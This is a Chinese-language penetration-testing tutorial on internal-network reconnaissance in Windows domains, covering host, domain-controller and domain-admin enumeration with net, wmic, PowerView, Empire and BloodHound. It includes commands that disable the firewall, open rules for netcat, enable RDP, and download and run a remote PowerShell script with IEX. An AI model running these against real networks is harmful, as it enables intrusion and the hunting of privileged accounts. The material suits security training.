2.1 内网信息搜集概述
当渗透测试人员进入内网后,面对的是一片“黑暗森林”,所以渗透测试人员首先会对当前所处的网络环境进行判断,通常的判断分为三种。
- 我是谁?——对机器角色的判断。
- 这是哪?——对目前机器所处网络环境的拓扑结构进行分析和判断。
- 我在哪?——对目前机器所处位置区域的判断。
2.2 搜集本机信息
1:查询网络配置信息
获取本机网络配置信息:
代码语言:javascript复制ipconfig /all
2:查询操作系统及软件的信息
(1)查询操作系统和版本信息
代码语言:javascript复制英文版系统用这条命令:
systeminfo | findstr /B /C:"OS Nmae" /C:"OS Version"
中文版系统用这条命令:
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
(2)查看系统体系结构
代码语言:javascript复制echo %PROCESSOR_ARCHITECTURE%
(3)查看安装的软件及版本、路径等
代码语言:javascript复制wmic product get name,version
(4)使用powershell命令,搜集软件的版本信息
代码语言:javascript复制powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name,version"
3:查询本机服务信息
代码语言:javascript复制wmic service list brief
4:查询进程列表
查看当前进程列表和进程用户、分析软件、邮件客户端、v**和杀毒软件等进程
代码语言:javascript复制tasklist
代码语言:javascript复制wmic process list brief
5:查看启动程序信息
代码语言:javascript复制wmic startup get command,caption
6:查看计划任务
代码语言:javascript复制schtasks /query /fo LIST /v
7:查看主机开机时间
代码语言:javascript复制net statistics workstation
8:查询用户列表
(1)查看有那些用户
代码语言:javascript复制net user
(2)获取本地管理员、包含域用户信息
代码语言:javascript复制net localgroup administrators
(3)查看当前在线用户
代码语言:javascript复制query user || qwinsta
(4)列出或断开本地计算机与所连接的客户端之间的会话
代码语言:javascript复制net session
(5)查询端口列表
代码语言:javascript复制netstat -ano
(6)查询补丁信息
代码语言:javascript复制systeminfo
代码语言:javascript复制wmic qfe get Caption,Description,HotFixID,InstalledOn
(7)查询本机共享列表
代码语言:javascript复制net share
代码语言:javascript复制wmic share get name,path,status
9:查询路由表及所有可用接口的ARP缓冲表
代码语言:javascript复制route print
arp -a
10:查询防火墙相关配置
(1)关闭防火墙
代码语言:javascript复制win 2003及之前的版本用这条命令:
netsh firewall set opmode disable
win 2003之后的版本用这条命令:
netsh advfirewall set allprofiles state off
(2)查看防火墙配置
代码语言:javascript复制netsh firewall show config
(3)修改防火墙配置
代码语言:javascript复制win 2003及之前的版本,运行指定程序全部连接:
netsh firewall add allowedprogram c:nc.exe "allow nc" enable
win 2003之后的版本用这条:
netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C:nc.exe"
允许指定程序连出,命令如下
netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="C: nc.exe"
允许 3389 端口放行,命令如下
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
自定义防火墙日志储存位置
netsh advfirewall set currentprofile logging filename "C:windowstempfw.log"
11:查看代理配置情况
代码语言:javascript复制reg query "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet Settings"
12:查询并开启远程连接服务
(1)查看远程连接端口
在 cmd
下使用注册表查询语句,命令如下,得到连接端口为 0xd3d
,转换后为 3389
REG QUERY "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" /V PortNumber
(2)在 Windows Server 2003 中开启 3389 端口
代码语言:javascript复制wmic path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
(3)在Windows Server 2008和Windows Server 2012中开启3389端口
代码语言:javascript复制wmic /namespace:\rootcimv2terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
wmic /namespace:\rootcimv2terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1
reg add "HKLMSYSTEMCURRENTCONTROLSETCONTROLTERMINAL SERVER" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
2.2 自动收集信息
使用WMIC
自动脚本来收集信息,打开运行 wmic_info.bat
会自动生成一个 out.html
文件
Empire下的主机信息搜集
Empirer提供了收集主机的模块。
下载地址:https://github.com/EmpireProject/Empire.git
2.3 查询当前权限
1、查看当前权限
代码语言:javascript复制whoami
本地管理员用户,或者是本地用户:
域内用户:
在以上三种情况下,如果当前内网中存在域,那么本地普通用户只能查询本机相关信息,不能查询域内信息;而本地管理员用户和域内用户可以查询域内信息。其原理是:域内的所有查询都是通过域控制器实现的(基于LDAP协议),而这个查询需要经过权限认证,所以只有域用户才拥有这个权限;当域用户执行查询命令时,会自动使用kerberos协议进行认证,无须额外输入账号密码。
2、获取域SID
代码语言:javascript复制whoami /all
当前域 hacker
的 SID
为:
3、查询指定用户的详细信息
代码语言:javascript复制net user 用户名 /domain
2.4 判断是否存在域
1、使用ipconfig命令
代码语言:javascript复制ipconfig /all
然后可以使用反向解析查询命令 nslookup
来解析域名的IP地址。用解析到的IP地址进行对比,判断域控制器和DNS服务器是否在同一台服务器上:
nclookup hacker.lab
2、查看系统详细配置
使用 systeminfo
命令,如果存在域就会显示:
如果不存在就会显示一个:WORKGROUP
3、查询当前登录域及登录用户信息
执行命令如果存在域那么就会显示工作站域和工作站域DNS等信息:
代码语言:javascript复制net config workstation
执行命令如果不存在域那么就会显示WORKGROUP
:
4、判断主域
判断主域:域服务器通常会同时作为时间服务器使用
代码语言:javascript复制net time /domain
有三种情况,第一种中存在域,当前是域用户:
第二种是,不存在域,环境是工作组:
第三种是,存在域,但是当前用户不是域用户
2.5 探测域内存活主机
1、使用nbtscan
nbtscan是一个命令行工具,用于扫描本地或远程TCP/IP网络上开放的NetBIOS名称服务器。
NetBOIS是局域网程序使用的一种程序编程接口(API),为程序提供了请求低级别服务的统一命令集,为局域网提供了网络及其他特殊功能。几乎所有局域网都是在NetBIOS协议的基础上工作的。NetBIOS也是计算机的标识名,主要用于局域网中计算机的互访问。NetBIOS的工作流程就是正常的机器名解析查询应答过程,因此推荐优先使用。
使用命令格式:
代码语言:javascript复制nbtscan.exe 10.10.10.0/20
第一列为IP地址,第二列为机器名和所在域的名称,第三列是机器所开启的服务列表。
服务列表具体含义:
代码语言:javascript复制Token: 含义:
SHARING 该机器中存在运行的文件和打印共享服务,但不一定有内容共享
DC 该机器可能是域控制器
U=USER 该机器中有登陆名为User的用户(不太准确)
IIS 该机器中可能安装了IIS服务
EXCHANGE 该机器中可能安装了Exchane
NOTES 该机器中可能安装了Lotus Notes电子邮箱客户端
? 没有识别出机器的NetBIOS资源(可以使用 -F 选项再次扫描)
2、利用ICMP协议快速探测内网
除了使用NetBIOS探测内网,还可以使用ICMP协议去探测内网情况。
使用ping命令,依次对内网中的每个IP地址执行Ping命令,可以快速找出内网中所有存活的主机(比较慢):
代码语言:javascript复制for /L %I in (1,1,254) DO @ping -w 1 -n 1 10.10.10.%I | findstr "TTL="
还可以使用VBS脚本进行探测,脚本源代码如下:
代码语言:javascript复制strSubNet = "10.10.10."
Set objFSO= CreateObject("Scripting.FileSystemObject")
Set objTS = objfso.CreateTextFile("C:WindowsTempResult.txt")
For i = 1 To 254
strComputer = strSubNet & i
blnResult = Ping(strComputer)
If blnResult = True Then
objTS.WriteLine strComputer & " is alived ! :) "
End If
Next
objTS.Close
WScript.Echo "All Ping Scan , All Done ! :) "
Function Ping(strComputer)
Set objWMIService = GetObject("winmgmts:\.rootcimv2")
Set colItems = objWMIService.ExecQuery("Select * From Win32_PingStatus Where Address='" & strComputer & "'")
For Each objItem In colItems
Select case objItem.StatusCode
Case 0
Ping = True
Case Else
Ping = False
End select
Exit For
Next
End Function
运行命令:cscript 1.vbs(速度很慢)
运行完后它会把结果保存到C:WindowsTempResult.txt
中:
3、通过ARP扫描探测内网
3.1:apr-scan工具
把arp-scan工具上传到目标主机上,可以自定义子网掩码,指定扫描范围,命令如下:
代码语言:javascript复制arp-scan.exe -t 10.10.10.0/20
3.2:Empire中的arpscan模块
下载地址:https://github.com/EmpireProject/Empire
PS:在这里安装Empire需要更改一下格式:https://jingyan.baidu.com/article/215817f788e8c21eda1423ea.html
Empire中内置了arpscan的模块,这个模块可以在局域网内发送ARP数据包,搜集活跃主机的IP地址、MAC地址信息。
代码语言:javascript复制usemodule situational_awareness/network/arpscan
3.3:Nishang中的Invoke-ARPScan.ps1脚本
使用 Nishang 中的 Invoke-ARPScan.ps1 脚本,可以将脚本上传到目标主机执行,也可以直接远程加载执行、自定义掩码和扫描范围,命令如下:
代码语言:javascript复制powershell.exe -exec bypass -Command "Import-Module C:Invoke-ARPScan.ps1;Invoke-ARPScan -CIDR 192.168.1.0/24" >> result.txt
4、通过常规TCP/UDP端口扫描探测内网
ScanLine 是一款经典的端口扫描工具,Windows 全版本通用,体积小,仅使用单个文件,同时支持对 TCP/UDP 的端口扫描,命令如下:
代码语言:javascript复制scanline.exe -h -t 22,80,110,389,445,3389,1099,1433,3306,3389 -u 53,161,137,139 -O log.txt -p 10.10.10.1-254 /b
2.6 扫描域内端口
通过查询目标主机的端口开放信息,不仅可以了解目标主机所开放的服务,还可以找出其开放服务的漏洞、分析目标的网络拓扑结构等,具体需要关注以下三点。
- 端口的 Banner 信息。
- 端口上运行的服务。
- 常见应用的默认端口
1:利用Telnet命令进行扫描
Telnet协议是TCP/IP
协议的一种,是Internet远程登录服务的标准协议和主要方式。它为用户提供了在本地计算机上完成远程工作的能力。
在目标主机上使用telnet协议,可以与目标服务器建立连接。如果只是想快速探测某太主机的某个常规高危端口是否开放,使用telnet命令就可以做到!
代码语言:javascript复制telnet DC 端口
2:使用S扫描器
S 扫描器是早期的一种比较快速的端口扫描工具,特别适合运行在 Windows Sever 2003 以下的平台上,支持大网段扫描。S 扫描器的扫描结果默认保存在其目录下的 result.txt 文件中。推荐使用 TCP 扫描,命令如下:
代码语言:javascript复制S.exe TCP 10.10.10.1 10.10.10.254 445,3389,1433,7001,1099,8080,80,22,23,21,25,110,3306,5432,1521,6379,2049,111 256 /Banner /save
3:使用Metasploit端口扫描
MSF这里就不多介绍了,我博客 www.saulGoodman.cn 里面讲了MSF的使用,端口扫描使用这个模块 :
代码语言:javascript复制auxiliary/scanner/portscan/tcp:
4:使用PowerScript的Invoke-portscan.ps1脚本
以无文件形式扫描,命令如下:
代码语言:javascript复制powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 192.168.1.0/24 -T 4 -ports '445,1433,8080,3389,80' -oA c:windowstempres.txt"
使用还是挺不错的,速度挺快。
5:使用Nishang的Invoke-PortScan模块
Invoke-PortScan 是 Nishang 的端口扫描脚本,用于发现主机、解析主机名、端口扫描,是一个很实用的脚本。输入“Get-Help Invoke-PortScan -full”命令,即可查看帮助信息
代码语言:javascript复制具体的参数介绍如下。
StartAddress:扫描范围开始的地址。
EndAddress:扫描范围结束的地址。
ScanPort:进行端口扫描。
Port:指定扫描端口。默认扫描的端口有 21、22、23、53、69、71、80、98、110、139、
111、389、443、445、1080、1433、2001、2049、3001、3128、5222、6667、6868、7777、
7878、8080、1521、3306、3389、5801、5900、5555、5901。
TimeOut:设置超时时间。
使用以下命令对本地局域网进行扫描,搜索存活主机并解析主机名:
Invoke-PortScan -StartAddress 192.168.250.1 -EndAddress 192.168.250.255 -ResolveHost
6:端口Bannner信息
如果发现了端口,但是不确定这个端口是什么服务,就可以利用一些nc来获取这个端口的banner信息,就好比这样 :
2.7 搜集域内基础信息
确定了当前内网拥有的域,并且所控制的主机在域里面,就可以进行域内相关信息的收集了。
因为这些查询命令本质上都是通过 LDAP 协议去域控制器上查询的,查询时候需要经过权限认证,只有域用户才有这个权限,所以本地用户是无法运行以下命令的(system 权限用户除外。在域里面,除了普通用户,所有机器都有一个机器用户,用户名为机器名加“$”。system 用户对应的就是域里面的机器用户,所以 system 权限用户是可以运行以下查询命令的)。
1:查询域
代码语言:javascript复制net view /domain
这里有个坑,有时候查询出错6118错误,是因为 Computer Brower 服务的问题,把它手动启动。
2:查询域内所有计算机
执行以下命令就可以查询得到主机名对主机角色进行初步判断:
代码语言:javascript复制net view /domain:HACKER[主机名]
3:查询域内所有用户组列表
代码语言:javascript复制net group /domain
4:查询所有域成员计算机列表
代码语言:javascript复制net group "domain computers" /domain
5:获取域密码信息
获取域密码策略、密码长度、错误锁定等信息用这条命令:
代码语言:javascript复制net accounts /domain
6:获取域信任信息
代码语言:javascript复制nltest /domain_trusts
2.8 查找域控制器
1:查看域控制器的机器名
代码语言:javascript复制nltest /DCLIST:主机名[Hacker]
2:查看域控制器主机名
代码语言:javascript复制Nslookup -type=SRV _ldap._tcp
3:查看当前时间
在通常情况下,时间服务器为主域控制器:
代码语言:javascript复制net time /domain
4:查看域控制器组
代码语言:javascript复制net group "Domain Controllers" /domain
PS:在实际情况中,一个域内一般有两台或者两台以上的域控制器,因为一点主域控制器发生故障,备用域控制器就可以保证域内服务和验证工作正常运行。
执行以下命令查看主域控制器为DC:
代码语言:javascript复制netdom query pdc
2.9 获取域内的用户和管理员信息
1:查询所有域用户列表
1.1:向域控制器进行查询
执行以下命令,向域控制器DC查询,域内有5个用户,其中krbtgt用户不仅可以创建票据授权服务(TGS)的加密密钥,还可以实现多种域内权限持久化方法。
代码语言:javascript复制net user /domain
1.2:获取域内用户的详细信息
执行下面的命令可以获取域内用户的详细信息:用户名、描述信息、SID、域名等等
代码语言:javascript复制wmic useraccount get /all
1.3:查看存在的用户
执行以下命令会发现有五个用户:
代码语言:javascript复制dsquery user
关于 dsquery 命令还有如下:
1.4:查询本地管理员组用户
代码语言:javascript复制net localgroup administrators
默认 Domain Admins 组为域内机器的本地管理员用户。在真实环境中,为了方便管理,会有域用户被添加为域机器的本地管理员用户。
2:查询域管理员用户组
2.1:查询域管理员用户
代码语言:javascript复制net group "domain admins" /domain
2.2:查询域管理员用户组
代码语言:javascript复制net group "Enterprise Admins" /domain
2.10 定位域管理员
1:域管理员定位概述
内网渗透测试与常规的渗透测试是截然不同的。内网渗透测试的需求是拿到内网中特定用户或特定机器的权限,进而获得特定资源,完成内网渗透测试任务。
内网渗透测试与常规的渗透测试是截然不同的。内网渗透测试的需求是拿到内网中特定用户或特定机器的权限,进而获得特定资源,完成内网渗透测试任务。在通常的网络环境里,内网中部署了大量的网络安全设备,如 IDS、IPS、日志审计、安全网关、反病毒软件等。所以,在域网络攻击测试场景中,如果渗透测试人员获取了域内的一个支点,为了实现对域网络的整体控制,渗透测试人员就需要获取域管理员权限。
在一个域中,当计算机加入域后,会默认给域管理员组赋予本地系统管理员的权限。也就是说,在计算机添加到域中,成为域的成员主机后,系统会自动将域管理员组添加到本地系统管理员组中。因此,域管理员组的成员均可访问本地计算机,而且具备完全控制权限。
渗透测试人员通常会通过搜集域内信息,追踪域内特权用户、域管理组用户的历史登录位置、当前登录位置等。定位域内管理员的常规渠道,一是日志,二是会话。日志是指本地机器的管理员日志,可以使用脚本或 wevtutil 导出查看。会话是指域内每个机器的登录会话,可以匿名查询,无须权限,可以使用 netsess.exe 或 PowerView 等工具查询。
2:常用域管理员定位工具
2.1:psloggedon.exe
使用psloggedon.exe,可以查看本地登录的用户和通过本地计算机或远程计算机资源登录的用户。如果指定的是用户名而不是计算机名,psloggedon.exe会搜索网上邻居中的计算机,并显示该用户当前是否登录。其原理就是通过检查注册表 HKEY_USERS 项的 key 值来查询谁登录过(需要调用NetSessionEnum API),但某些功能需要管理员权限才能使用。
代码语言:javascript复制使用语法:
-:显示支持的选项和用于输出值的单位。
-l:仅显示本地登录,不显示本地和网络资源登录。
-x:不显示登录时间。
\computername:指定要列出登录信息的计算机的名称。
Username:指定用户名,在网络中搜索该用户登录的计算机。
2.2:PVEFindADUser.exe
PVEFindADUser.exe这款工具可用于查找活动目录用户登录的位置、枚举域用户,以及查找在特定计算机上登陆的用户,包括本地用户、通过RDP登陆的用户、用于运行服务和计划任务的用户。运行该工具的计算机需要配置 .NET Framework 2.0 环境,并且需要具有管理员权限。
代码语言:javascript复制使用语法:
pveFindADUser.exe <参数>
-h:显示帮助。
-u:检查是否有更新版本的实用程序。
-current [''username'']:如果仅指定了-current 参数,将获取所有目标计算机上当前登录的所有用户。如果指定了用户名(DOMAINUsername),则显示该用户登录的计算机。
-last [''username'']:如果仅指定了-last 参数,将获取目标计算机上的最后一个登录用户。如果指定了用户名(DOMAINUsername),则显示具有此用户账户作为上次登录的计算机。根据网络的策略,可能会隐藏最后一个登录用户名,且该工具可能无法得到该用户名。 -noping:阻止该工具在尝试获取用户登录信息之前对目标计算机执行 ping 命令。
-target:可选参数,用于指定要查询的主机。如果未指定此参数,将查询当前域中的所有主机。如果指定此参数,则后跟一个由逗号分隔的主机名列表。
2.3:netview.exe
netview.exe 是一个枚举工具,使用 WinAPI 枚举系统,利用NetSessionEnum找寻登陆会话,利用NetShareEnum找寻共享,利用NetWkstaUserEnum枚举登陆的用户。同时,netview.exe 能够查询共享入口和有价值的用户。netview.exe的绝大部分功能不需要管理员权限就可以使用。
代码语言:javascript复制使用语法:
netview.exe <参数>
-h:显示帮助菜单。
-f filename.txt:指定从中提取主机列表的文件。
-e filename.txt:指定要排除的主机名文件。
-o filename.txt:将所有输出重定向到文件。
-d domain:指定从中提取主机列表的域。如果没有指定,则使用当前域。
-g group:指定用户搜寻的组名。如果没有指定,则使用 Domain Admins。
-c:检查对已找到共享的访问权限。
2.4:Nmap的NSE脚本
如果有域账户或者本地账户,就可以使用 Nmap 的 smb-enum-sessions.nse 引擎来获取远程机器的登录会话,并且不需要管理员权限。smb-enum-sessions.nse 的下载地址为:https://nmap.org/nsedoc/scripts/smb-enum-sessions.html。
代码语言:javascript复制smb-enum-domains.nse:对域控制器进行信息收集,可以获取主机信息、用户、密码策略可
以使用的用户等。
smb-enum-users.nse:在进行域渗透测试的时候,如果获取了域内某台主机的权限,但是权限有限,不能获取更多的域用户信息,就可以借助这个脚本对域控制器进行扫描。
smb-enum-shares.nse:遍历远程主机的共享目录。
smb-enum-processes.nse:对主机的系统进程进行遍历。通过这些信息,可以知道目标主机上运行软件信息,选择合适的漏洞或者规避防火墙及杀毒软件。
smb-enum-sessions.nse:获取域内主机的用户登录会话,查看当前是否有用户登录。
smb-os-discovery.nse:收集目标主机的操作系统、计算机名、域名、全称域名、域林名称、NetBIOS 机器名、NetBIOS 域名、工作组、系统时间。
2.5:PowerView脚本
PowerView是一款powershell脚本,提供了辅助定位关键用户的功能。
代码语言:javascript复制Invoke-StealthUserHunter :只需要一次查询,就可以获取域内的所有用户。从user.HomeDirectories 中提取所有用户,并对每个服务器进行 Get-NetSessions 获取。因为不需要使用 Invoke-UserHunter 对每台机器进行操作,所以这个方法的隐蔽性相对较高,但涉及的机器面不一定完整。默认使用 Invoke-StealthUserHunter,如果找不到需要的信息,就接着使用 Invoke-UserHunter 方法。
Invoke-UserHunter:找到域内特定的用户群。它接收用户名、用户列表或域组查询,并接收一个主机列表或查询可用的主机域名。它会使用 Get-NetSessions 和 Get-NetLoggedon(调用 NetSessionEnum 和 NetWkstaUserEnum API)扫描每个服务器,而且会比较结果,筛选出目标用户集。使用这个工具是不需要管理员权限的。在本地绕过执行该脚本。
2.6:Empire下的user_hunter模块
在 Empire 下也存在类似 Invoke-UserHunter 的模块——user_hunter,这个模块就是用来查找域管理员登录的机器的。
使用 usemodule situational_awareness/network/powerview/user_hunter
模块可以清楚地看到哪个用户登录了哪台主机。在这里,显示域管理员曾经登录了机器名为 WIN7-64.shuteer.testlab、IP 地址为 192.168.31.251 的机器。
2.11 查找域管理进程
一个典型的域权限提升过程通常围绕着收集明文凭据或者通过 Mimikatz 来获得提升的权限等方法,然后在其所获取管理员权限的系统中寻找域管理员登录进程,从而收集域管理员的凭据。
我们来看一种假设的情况:渗透测试人员在某个内网环境中获得了一个域普通用户的权限,首先通过各种方法获得当前服务器的本地管理员权限,然后分析当前服务器的用户登录列表及会话信息,找出有哪些用户登录了这台服务器上。如果渗透测试人员通过分析发现,可以获取权限的登录用户都不是域管理员账户,同时也没有域管理员组的用户登录这台服务器,那么他会选择另一个账户,继续寻找这个账户在内网哪个机器上具有管理权限,再枚举这台机器上的登录用户,并继续进行渗透测试,直至找到一个有效的路径可以获取到域管理员权限为止。在具有成千上万台计算机和用户的环境中,该过程可能需要几天甚至几周的时间。
1:本机检查
1.1:获取域管理员列表
代码语言:javascript复制net group "Domain Admins" /domain
当前有一个域管理员:administrator
1.2:列出本机所有进程及进程用户
代码语言:javascript复制tasklist /v
1.3:寻找进程所有者为域管理员的进程
通过以上操作可以看出,当前存在域管理员进程,这种方法只是有几率能查找到域管理员进程,在实际情况下往往并非如此。
2:查询域控制器的域用户会话
查询域控制器的域用户会话,其原理是:在域控制器中查询域用户会话列表,并将其与域管理员列表进行交叉引用,从而得到域管理员会话的系统列表。
2.1:查询域控制器列表
可以使用LDAP查询从Domain Controlles单元中收集的域控制器列表。也可以使用net命令查询域控制器列表。
代码语言:javascript复制net group "Domain Controllers" /domain
2.2:收集域管理员列表
可以使用LDAP进行查询。也可以使用net命令,从域管理员组中收集域管理员列表。
代码语言:javascript复制net group "Domain Admins" /domain
2.3:收集所有活动域的会话列表
使用netsess.exe查询每个域控制器,收集所有活动域会话列表。netsess.exe它包含本地Windows函数netsessionenum。
代码语言:javascript复制netsess.exe -h
2.4:交叉引用域管理员列表与活动会话列表
对域管理员列表和活动会话列表进行交叉引用,可以确定哪些IP地址有活动域令牌。也可以通过下列脚本快速使用netsess.exe的Windows命令行。
将域控制器列表添加到dcs.txt中,将域管理员列表添加到admins.txt中,并与netsess.exe放在同一目录下,运行脚本会在当前目录下生成一个文本文件sessions.txt:
代码语言:javascript复制FOR /F %i in (dcs.txt) do @echo [ ] Querying DC %i && @netsess -h %i 2>nul > sessions.txt && FOR /F %a in (admins.txt) DO @type sessions.txt | @findstr /I %a
3:查询远程系统中运行的任务
如果目标机器在域系统中是通过共享的本地管理员账户运行的,就可以使用下列脚本来查询系统中的域管理员任务。
首先,从Domain Admins组中收集域管理员列表:
代码语言:javascript复制net group "Domain Admins" /domain
然后运行如下脚本,将目标域系统列表添加到ips.txt文件中,将收集的域管理员列表添加到names.txt文件中:
代码语言:javascript复制FOR /F %i in (ips.txt) DO @echo [ ] %i && @tasklist /V /S %i /U user /P password 2>NUL > output.txt && FOR /F %n in (names.txt) DO @type output.txt | findstr %n > NUL && echo [!] %n was found running a process on %i && pause
4:扫描远程系统的NetBIOS信息
某些版本的Windows操作系统允许用户通过NetBIOS查询已登录用户,下面这个Windows命令行脚本就用于扫描远程系统活跃域中的管理会话。
代码语言:javascript复制for /F %i in (ips.txt) do @echo [ ] Checking %i && nbtstat -A %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i
同样,吧目标域系统列表添加到ips.txt文件中,将收集的域管理员列表添加到admins.txt文件中,同目录运行脚本:
2.12 域管理员模拟方法简介
如果您已经有一个 meterpreter 会话,您可以使用 Incognito模拟域管理员,或添加一个新的域 管理员。通过尝试遍历系统中所有可用的授权令牌来随意添加新的管理员。
2.13 利用PowerShell收集域信息
PowerShell可以理解为增强版的”cmd.exe”,打开方式就是:运行->输入powershell:
如果想执行一个Powershell脚本,需要修改Powershell的默认权限为执行权限。PowerShell常用的执行权限有四种:
代码语言:javascript复制Restricted:默认设置,不允许执行任何脚本。
Allsigned:只能运行经过证书验证的脚本。
Unrestricted:权限最高,可以执行任意脚本。
RemoteSigned:本地脚本无限制,但是对来自网络的脚本必须经过签名。
在PowerShell中输入Get-ExecutionPolicy,可以查看权限:
如果想要修改权限就可以执行这条命令,然后选择Y:
代码语言:javascript复制Set-ExecutionPolicy 权限名
powerview
powerview这个脚本是一款依赖于 powershell 和 WMI 对内网进行查询的常用渗透测试脚本。
下载地址:https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon
导入脚本 powerview.ps1:
代码语言:javascript复制import-module .powerview.ps1
Powerview中常用的命令
代码语言:javascript复制Get-NetDomain:获取当前用户所在的域名称。
Get-NetUser:返回所有用户的详细信息。
Get-NetDomainController:获取所有域控制器。
Get-NetComputer:获取所有域内机器的详细信息。
Get-NetOU:获取域中的 OU 信息。
Get-NetGroup:获取所有域内组和组成员信息。
Get-NetFileServer:根据 SPN 获取当前域使用的文件服务器。
Get-NetShare:获取当前域内所有网络共享。
Get-NetSession:获取在指定服务器存在的会话信息。
Get-NetRDPSession:获取在指定服务器存在的远程连接信息。
Get-NetProcess:获取远程主机的进程信息。
Get-UserEvent:获取指定用户的日志信息。
Get-ADObject:获取活动目录的对象信息。
Get-NetGPO:获取域所有组策略对象。
Get-DomainPolicy:获取域默认或域控制器策略。
Invoke-UserHunter:用于获取域用户登录计算机及该用户是否有本地管理权限。
Invoke-ProcessHunter:查找域内所有机器进程用于找到某特定用户。
Invoke-UserEventHunter:根据用户日志获取某域用户登录过哪些域机器。
获取当前用户所在的域名称
代码语言:javascript复制Get-NetDomain
返回所有用户的详细信息
获取所有域控制器
代码语言:javascript复制Get-NetDomainController
获取所有域内机器的详细信息
代码语言:javascript复制Get-NetComputer
获取域中的 OU 信息
代码语言:javascript复制Get-NetOU
获取所有域内组和组成员信息
代码语言:javascript复制Get-NetGroup
根据 SPN 获取当前域使用的文件服务器
代码语言:javascript复制Get-NetFileServer
获取当前域内所有网络共享
代码语言:javascript复制Get-NetShare
获取在指定服务器存在的会话信息
代码语言:javascript复制Get-NetSession
获取在指定服务器存在的远程连接信息
代码语言:javascript复制Get-NetRDPSession
获取远程主机的进程信息
代码语言:javascript复制Get-NetProcess
获取指定用户的日志信息
代码语言:javascript复制Get-UserEvent
获取活动目录的对象信息
代码语言:javascript复制Get-ADObject
获取域所有组策略对象
代码语言:javascript复制Get-NetGPO
获取域默认或域控制器策略
代码语言:javascript复制Get-DomainPolicy
用于获取域用户登录计算机及该用户是否有本地管理权限
代码语言:javascript复制Invoke-UserHunter
查找域内所有机器进程用于找到某特定用户
代码语言:javascript复制Invoke-ProcessHunter
根据用户日志获取某域用户登录过哪些域机器
代码语言:javascript复制Invoke-UserEventHunter
CMD运行powershell
代码语言:javascript复制powershell -exec bypass "import-module c:powerview.ps1;get-netuser"
2.14 域渗透分析工具bloodhound的使用
安装BloodHound所需环境
1、下载安装JDK
JDK8下载地址:https://www.oracle.com/java/technologies/javase-jdk8-downloads.html
2、下载安装Neo4j
下载地址:https://neo4j.com/download-center/#releases
3、启动Neo4j数据库服务端
下载好后,进入对应的目录在命令行运行如下命令启动(必须安装JDK环境才可以)
代码语言:javascript复制cd C:neo4j-community-3.5.3bin
neo4j.bat console
通过浏览器打开:http://localhost:7474/
打开后设置一下密码:原密码neo4j,修改为:123456(任意)
4、下载BloodHound
下载地址:https://github.com/BloodHoundAD/BloodHound/releases
然后打开:
输入账号密码:eno4j、123456
代码语言:javascript复制查找所有域管理员。
寻找到达域管理员的最短路径。
查找具有 dcsync权限的主体。
具有外部域组成员身份的用户。
具有外部域组成员身份的组。
映射域信任。
无约束委托系统的最短路径。
从 KerberoAstable 用户获得的最短路径。
从 KerberoAstable 用户到域管理员的最短路径。
拥有主体的最短路径。
从所属主体到域管理员的最短路径。
高价值目标的最短路径。
再下载:https://github.com/BloodHoundAD/BloodHound/blob/master/Ingestors/SharpHound.exe
放到C盘下:
然后运行:
代码语言:javascript复制SharpHound.exe -c all
运行完后会在当前路径下生成一个文件:20200323210837_BloodHound.zip
然后我们吧他拖进去上传:
这个时候就有数据了:
查找所有域管理员
寻找最短到达域管理员的路径
查找具有 dcsync权限的主体
查看指定用户与域关联的详细信息
点一下用户就会在左边显示:
参考文章:
代码语言:javascript复制https://www.freebuf.com/sectool/179002.html
https://www.cnblogs.com/KevinGeorge/p/10513211.html
https://www.cnblogs.com/backlion/p/10643132.html
2.15 敏感数据防护
内网核心敏感数据,不仅仅包括数据库、电子邮件。还包括个人数据及组织的业务数据…可以说,价值高的数据基本上都在内网中,所以要了解攻击者的操作流程,这会对内网数据安全防护工作至关重要。
1:资料、数据、文件的定位流程
内网数据防护的第一步,就是要熟悉攻击者获取数据的流程。在实际的网络环境中,攻击者主要通过各种恶意方法来定位公司内部各相关人员的机器。从而获取资料、数据、文件等重要信息。文件定位大致流程如下:
- 定位内部人事组织结构
- 在内部人事组织结构中寻找需要监视的人员
- 定位相关人员的机器
- 监视相关人员存放文档的位置
- 列出存放文档的服务器的目录
2:重点核心业务机器及敏感信息防护
重点核心业务机器是攻击者比较关心的机器,因此,我们需要对这些机器采取相应的安全防护措施。
代码语言:javascript复制1.核心业务机器
高管/系统管理员/财务/人事/业务人员的个人计算机。
产品管理系统服务器(仓库管理系统) 。
OA 办公系统服务器。
财务应用系统服务器。
核心产品源码服务器(对于 IT公司,会架设自己的 SVN 或者 GIT 服务器) 。
数据库服务器。
文件服务器/共享服务器。
邮件服务器。
网络监控系统服务器。
其他服务器(分公司、工厂)。
2.各类敏感文件信息
站点源码备份文件、数据库备份文件、配置文件备份等(后缀 XX.zip,XX.sql 等) 。
各类数据库的 Web 管理入口,如 phpmyadmin、adminer等。
浏览器密码和浏览器 cookie(IE、Chrome、Firefox) 。
其他用户会话、3389 和 ipc$连接记录、各用户回收站的信息等。
Windows 无线密码。
目标内部的各种账号和密码信息,包括邮箱、V**、FTP、TeamView 等。
3:应用于文件形式信息的防护
